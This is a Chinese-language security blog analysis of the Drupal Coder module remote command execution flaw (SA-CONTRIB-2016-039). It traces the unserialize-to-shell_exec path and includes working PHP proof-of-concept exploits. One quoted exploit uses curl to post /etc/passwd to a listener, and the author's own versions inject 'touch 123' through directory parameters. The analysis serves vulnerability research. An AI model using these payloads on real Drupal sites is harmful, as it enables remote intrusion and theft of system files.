Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)

没穿底裤 2020年1月1日03:58:17评论288 views字数 11663阅读38分52秒阅读模式
摘要

作者:曾鸿坤@安恒安全研究院、黄伟杰@安恒安全研究院今年7月13日,Drupal发布了一个高危漏洞公告(DRUPAL-SA-CONTRIB-2016-039),即Coder模块的远程代码执行(在没有启用模块的情况下,漏洞也可以被触发)。
但是这个模块不是Drupal默认自带的模块,所以影响范围有限。

作者:曾鸿坤@安恒安全研究院、黄伟杰@安恒安全研究院

背景:

今年7月13日,Drupal发布了一个高危漏洞公告(DRUPAL-SA-CONTRIB-2016-039),即Coder模块的远程代码执行(在没有启用模块的情况下,漏洞也可以被触发)。
但是这个模块不是Drupal默认自带的模块,所以影响范围有限。

Drupal的Coder模块主要有以下两个功能:

  1. 用来检查代码文件是否符合Drupal编码标准,是否兼容当前版本的Drupal API。
  2. 用来将旧模块升级至符合当前Drupal标准的模块。

影响范围:

Coder module 7.x-1.x versions prior to 7.x-1.3.
Coder module 7.x-2.x versions prior to 7.x-2.6.

分析

测试环境:Drupal 7.50, Coder 7.x-2.5.

我们从网上找到个现有的POC (https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5),内容如下:

<?php # Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039) # https://www.drupal.org/node/2765575 # by Raz0r (http://raz0r.name)   $cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd"; $host = "http://localhost:81/drupal-7.12/";   $a = array(     "upgrades" => array(         "coder_upgrade" => array(             "module" => "color",             "files" => array("color.module")         )     ),     "extensions" => array("module"),     "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),     "paths" => array(         "modules_base" => "../../../",         "files_base" => "../../../../sites/default/files"     ) ); $payload = serialize($a); file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload)); ?>

但是在我们的环境下,上面POC无法正常使用。然后就开始了我们的修改POC和分析漏洞之路。

在文件/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php的开头,有这样两行代码:

set_error_handler("error_handler"); set_exception_handler("exception_handler");

导致后面代码碰到Warning后都会自动退出,所以整个POC之路有点曲折。

0. 我们先快速查找下导致命令注入的位置。

通过POC可知是从items[‘old_dir’]注入命令,所以我们跟踪$items这个变量,得到以下路线。

  • 从coder_upgrade.run.php开始->$item变量进入coder_upgrade_start($upgrades, $extensions, $items)这个函数.
  • coder_upgrade_start函数声明在main.inc文件, 之后$items变成$item进入coder_upgrade_make_patch_file($item, $_coder_upgrade_replace_files)函数。
  • coder_upgrade_make_patch_file函数声明在仍然在main.inc文件,最后$item内的old_dir和new_dir被取出,进入shell_exec(“diff -up -r {$old_dir} {$new_dir} > {$patch_filename}”);,从而导致命令注入。

1. 下面我们看coder_upgrade.run.php的代码:

...//ignore $usage = array(); save_memory_usage('start', $usage);   define('DRUPAL_ROOT', getcwd());   ini_set('display_errors', 1); ini_set('memory_limit', '128M'); ini_set('max_execution_time', 180); set_error_handler("error_handler"); set_exception_handler("exception_handler");   $path = extract_arguments(); //1.1.即获取$_GET['file'] if (is_null($path)) {   echo 'No path to parameter file';   return 2; }   // Load runtime parameters. $parameters = unserialize(file_get_contents($path)); //1.2.此处到下面三行实现变量覆盖 foreach ($parameters as $key => $variable) {   $$key = $variable; } save_memory_usage('load runtime parameters', $usage);   // Set global variables (whose names do not align with extracted parameters). $_coder_upgrade_variables = $variables; //1.3.此处$variables需要覆盖,不然会产生未声明变量警告而退出。 $_coder_upgrade_files_base = $paths['files_base']; //1.4. $path要覆盖,不然也会产生警告,下面两行同样情况。 $_coder_upgrade_libraries_base = $paths['libraries_base']; $_coder_upgrade_modules_base = $paths['modules_base'];   // Load core theme cache. $_coder_upgrade_theme_registry = array(); if (is_file($theme_cache)) { //1.5.$theme_cache需要覆盖   $_coder_upgrade_theme_registry = unserialize(file_get_contents($theme_cache)); } save_memory_usage('load core theme cache', $usage);   // Load coder_upgrade bootstrap code. $path = $_coder_upgrade_modules_base . '/coder/coder_upgrade'; $files = array(   'coder_upgrade.inc',   'includes/main.inc',   'includes/utility.inc', ); foreach ($files as $file) {   require_once DRUPAL_ROOT . '/' . $path . "/$file"; //1.6.此处需要正常包含文件,不能产生警告,POC里面的modules_base=>`../../../`,此时的目录结构可以符合条件。 }   coder_upgrade_path_clear('memory'); //1.7.此处会将一些调试信息写入指定文件,写入目录由POC里面的files_base指定,但是POC里面的`../../../../sites/default/files`,在我们的测试环境下,并没有这个目录,导致会产生警告而退出,所以我们将它修改为coder模块的目录`../..`,这样也避免了环境不同而导致POC不能使用。 print_memory_usage($usage); coder_upgrade_memory_print('load coder_upgrade bootstrap code');   $success = coder_upgrade_start($upgrades, $extensions, $items); //1.8.此处是关键,命令注入的入口。

所以要执行到coder_upgrade_start,同时满足上面分析的所有条件,POC已经被我们修改为:

$host = "http://localhost:82/";   $a = array(     "upgrades" => array(         "coder_upgrade" => array(             "module" => "color",             "files" => array("color.module")         )     ),     "variables" => 1,     "theme_cache" => 1,     "extensions" => array("module"),     "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test")),     "paths" => array(         "modules_base" => "../../../",         "files_base" => "../..",         "libraries_base" => 1     ) ); $payload = serialize($a); file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

2. 接下来,我们看coder_upgrade_start函数的声明:

在/sites/all/modules/coder/coder_upgrade/includes/main.inc文件中:

function coder_upgrade_start($upgrades, $extensions, $items, $recursive = TRUE) {   // Declare global variables.   global $_coder_upgrade_log, $_coder_upgrade_debug, $_coder_upgrade_module_name, $_coder_upgrade_replace_files, $_coder_upgrade_class_files;     // Check lists in case this function is called apart from form submit.   if (!is_array($upgrades) || empty($upgrades)) {     return FALSE;   }   if (!is_array($extensions) || empty($extensions)) {     return FALSE;   }   if (!is_array($items) || empty($items)) {     return FALSE;   }     $_coder_upgrade_log = TRUE;   if ($_coder_upgrade_log) {     // Clear the log file.     coder_upgrade_path_clear('log');     if (!variable_get('coder_upgrade_use_separate_process', FALSE)) {       coder_upgrade_path_clear('memory');     }     coder_upgrade_memory_print('initial');   }   // Set debug output preference.   $_coder_upgrade_debug = variable_get('coder_upgrade_enable_debug_output', FALSE);   if ($_coder_upgrade_debug) {     // Clear the debug file.     coder_upgrade_path_clear('debug');   }     // Load code.   coder_upgrade_load_code($upgrades); //2.1.我们调试到此处程序退出运行,经分析是因为包含文件出错。这个函数可理解为:require(modules目录.$upgrades['coder_upgrade']['module'].$upgrades['coder_upgrade']['files'][0]),即包含模块目录下的某些文件。POC里面的意思是包含color模块下的color.module文件。但是可能还是因为环境不同,我们modules目录下并没有color这个模块,所以我们还是选择coder模块本身。   coder_upgrade_load_parser();     // Set file replacement parameter.   $_coder_upgrade_replace_files = variable_get('coder_upgrade_replace_files', FALSE);   // Initialize list of class files.   $_coder_upgrade_class_files = array();     // Loop on items.   foreach ($items as $item) {     $_coder_upgrade_module_name = ''; //    $_coder_upgrade_dirname = $item['old_dir'];       if (!isset($_SERVER['HTTP_USER_AGENT']) || strpos($_SERVER['HTTP_USER_AGENT'], 'simpletest') === FALSE) {       // Process the directory before conversion routines are applied.       // Note: if user agent is not set, then this is being called from CLI.       coder_upgrade_convert_begin($item);     }       // Call main conversion loop.     coder_upgrade_convert_dir($upgrades, $extensions, $item, $recursive); //2.2.此处是修改完POC后另一处退出运行的地方,也是整个分析过程比较有意思的地方,跟踪函数(到第3点)。       // Apply finishing touches to the directory.     // Swap directories if files are replaced.     $new_dir = $_coder_upgrade_replace_files ? $item['old_dir'] : $item['new_dir'];     coder_upgrade_convert_end($new_dir);       // Make a patch file.     coder_upgrade_make_patch_file($item, $_coder_upgrade_replace_files);   }     return TRUE; }

“2.1后”,我们的POC被修改为:

$host = "http://localhost:82/";   $a = array(     "upgrades" => array(         "coder_upgrade" => array(             "module" => "coder",             "files" => array("coder.module")         )     ),     "variables" => 1,     "theme_cache" => 1,     "extensions" => array("module"),     "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test")),     "paths" => array(         "modules_base" => "../../../",         "files_base" => "../..",         "libraries_base" => 1     ) ); $payload = serialize($a); file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

3. 跟踪coder_upgrade_convert_dir函数:

function coder_upgrade_convert_dir($upgrades, $extensions, $item, $recursive = TRUE) {   global $_coder_upgrade_filename; // Not used by this module, but other modules may find it useful.   static $ignore = array(/*'.', '..', '.bzr', '.git', '.svn',*/ 'CVS');   global $_coder_upgrade_module_name, $_coder_upgrade_replace_files;     $dirname = $item['old_dir'];   $new_dirname = $item['new_dir'];     // Create an output directory we can write to.   if (!is_dir($new_dirname)) { //3.1.此处会获取我们可控的new_dir,新建一个目录     mkdir($new_dirname);     chmod($new_dirname, 0757);   }   else {     coder_upgrade_clean_directory($new_dirname);   }   ...//ignore   coder_upgrade_module_name($dirname, $item); //3.2.此处会scandir($dirname),如果$dirname目录不存在则会产生警告退出运行。dirname即POC里的old_dir,我们需要old_dir为一个已经存在的目录,但是如果下面程序会对那个目录下的文件产生其它操作,可能影响系统的正常功能。这时我们想到了上面3.1的创建目录。只需new_dir和old_dir相同,scandir(old_dir)即可正常运行,还不会影响系统其它文件。   $_coder_upgrade_module_name = $item['module'] ? $item['module'] : $_coder_upgrade_module_name;     // Loop on files.   $filenames = scandir($dirname . '/');//3.3.此处同3.2   foreach ($filenames as $filename) {     $_coder_upgrade_filename = $dirname . '/' . $filename;     if (is_dir($dirname . '/' . $filename)) {       if (substr(basename($filename), 0, 1) == '.' || in_array(basename($filename), $ignore)) {         // Ignore all hidden directories and CVS directory.         continue;       }       $new_filename = $filename;       // Handle D6 conversion item #79.       if ($filename == 'po') {         $new_filename = 'translations';       }       if ($recursive) {         // TODO Fix this!!!         $new_item = array(           'name' => $item['name'],           'old_dir' => $dirname . '/' . $filename,           'new_dir' => $new_dirname . '/' . $filename,         );         coder_upgrade_convert_dir($upgrades, $extensions, $new_item, $recursive);         // Reset the module name.         $_coder_upgrade_module_name = $item['module'];       }     }     elseif (in_array($extension = pathinfo($filename, PATHINFO_EXTENSION), array_keys($extensions))) {       copy($dirname . '/' . $filename, $new_dirname . '/' . $filename);       if ($extension == 'php' && substr($filename, -8) == '.tpl.php') {         // Exclude template files.         continue;       }       coder_upgrade_log_print("/n*************************");       coder_upgrade_log_print('Converting the file => ' . $filename);       coder_upgrade_log_print("*************************");       coder_upgrade_convert_file($dirname . '/' . $filename, $new_dirname . '/' . $filename, $_coder_upgrade_replace_files);     }     elseif (in_array($extension, array('inc', 'install', 'module', 'php', 'profile', 'test', 'theme', 'upgrade'))) {       copy($dirname . '/' . $filename, $new_dirname . '/' . $filename);       // Check for a class declaration for use in the info file.       coder_upgrade_class_check($new_dirname . '/' . $filename);     }     else {       copy($dirname . '/' . $filename, $new_dirname . '/' . $filename);     }   } }

“3.3后”,POC修改为:

$host = "http://localhost:82/";   $a = array(     "upgrades" => array(         "coder_upgrade" => array(             "module" => "coder",             "files" => array("coder.module")         )     ),     "variables" => 1,     "theme_cache" => 1,     "extensions" => array("module"),     "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test;touch 123;")),     "paths" => array(         "modules_base" => "../../../",         "files_base" => "../..",         "libraries_base" => 1     ) ); $payload = serialize($a); file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

我们回到2的coder_upgrade_start函数,此时我们已经可以进入coder_upgrade_make_patch_file函数,下面看coder_upgrade_make_patch_file函数的声明:

function coder_upgrade_make_patch_file($item, $_coder_upgrade_replace_files = FALSE) {   // Patch directory.   $patch_dir = coder_upgrade_directory_path('patch');     // Make a patch file.   coder_upgrade_log_print("/n*************************");   coder_upgrade_log_print('Creating a patch file for the directory => ' . $item['old_dir']);   coder_upgrade_log_print("*************************");   $patch_filename = $patch_dir . $item['name'] . '.patch'; //4.1.此处还有一个$item['name']在POC里面没有声明,所以程序到这里还是会退出运行,所以我们只需最后再修改下POC。   // Swap directories if files are replaced.   $old_dir = $_coder_upgrade_replace_files ? $item['new_dir'] : $item['old_dir'];   $new_dir = $_coder_upgrade_replace_files ? $item['old_dir'] : $item['new_dir'];   coder_upgrade_log_print("Making patch file: diff -up -r {$old_dir} {$new_dir} > {$patch_filename}");   shell_exec("diff -up -r {$old_dir} {$new_dir} > {$patch_filename}");     // Remove the path strings from the patch file (for usability purposes).   $old1 = $old_dir . '/';   $new1 = $new_dir . '/';   $contents = file_get_contents($patch_filename);   file_put_contents($patch_filename, str_replace(array($old1, $new1), '', $contents)); }

我们最终POC为:

$host = "http://localhost:82/";   $a = array(     "upgrades" => array(         "coder_upgrade" => array(             "module" => "coder",             "files" => array("coder.module")         )     ),     "variables" => 1,     "theme_cache" => 1,     "extensions" => array("module"),     "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test;touch 123;", "name"=>1)),     "paths" => array(         "modules_base" => "../../../",         "files_base" => "../..",         "libraries_base" => 1     ) ); $payload = serialize($a); file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日03:58:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)https://cn-sec.com/archives/76866.html

发表评论

匿名网友 填写信息